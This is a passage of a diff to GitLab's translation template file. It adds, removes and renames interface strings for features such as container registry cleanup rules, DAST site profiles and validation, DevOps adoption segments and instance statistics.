msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7651,21 +7861,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8458,9 +8677,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8521,6 +8737,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8650,9 +8869,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8701,7 +8917,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8728,9 +8947,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8752,15 +8968,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8794,9 +9010,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8830,64 +9055,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -9001,9 +9247,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -9028,7 +9271,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -9112,9 +9355,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9544,6 +9784,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9562,6 +9805,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9598,6 +9844,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9655,6 +9904,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9733,15 +9985,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9751,15 +9997,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9952,9 +10267,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -10027,9 +10339,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -10078,9 +10387,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -10186,6 +10501,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -10261,6 +10579,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -10291,6 +10612,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -10363,7 +10687,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10381,6 +10705,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10732,6 +11059,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10843,6 +11173,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -11080,9 +11413,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -11119,6 +11449,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -11197,6 +11530,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -11431,6 +11767,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11539,6 +11878,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11674,6 +12016,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11713,6 +12058,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11752,12 +12100,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11929,6 +12283,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11953,9 +12310,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -12016,6 +12370,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -12058,7 +12415,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -12184,12 +12541,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -12214,9 +12565,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -12262,9 +12610,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12349,6 +12694,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12376,9 +12724,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12865,6 +13210,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12898,6 +13246,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -13108,15 +13459,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -13231,12 +13579,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13471,6 +13813,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13864,12 +14212,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13945,6 +14287,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -14104,9 +14449,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -14248,6 +14590,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -14332,12 +14677,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14389,9 +14728,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14422,6 +14758,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -14455,6 +14794,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14485,9 +14827,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14665,9 +15004,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14752,9 +15088,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14782,73 +15115,79 @@ msgstr[5] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14887,6 +15226,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14920,7 +15262,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14938,6 +15289,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14959,6 +15313,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -15034,6 +15391,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -15076,6 +15436,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -15100,6 +15463,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -15145,6 +15511,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -15154,16 +15523,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -15271,9 +15640,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -15337,6 +15703,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -15472,10 +15841,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15652,6 +16021,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15781,6 +16171,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15967,9 +16360,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -16063,6 +16453,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -16090,9 +16483,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -16123,9 +16513,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -16189,9 +16576,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -16255,18 +16639,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -16282,9 +16657,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -16390,6 +16762,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
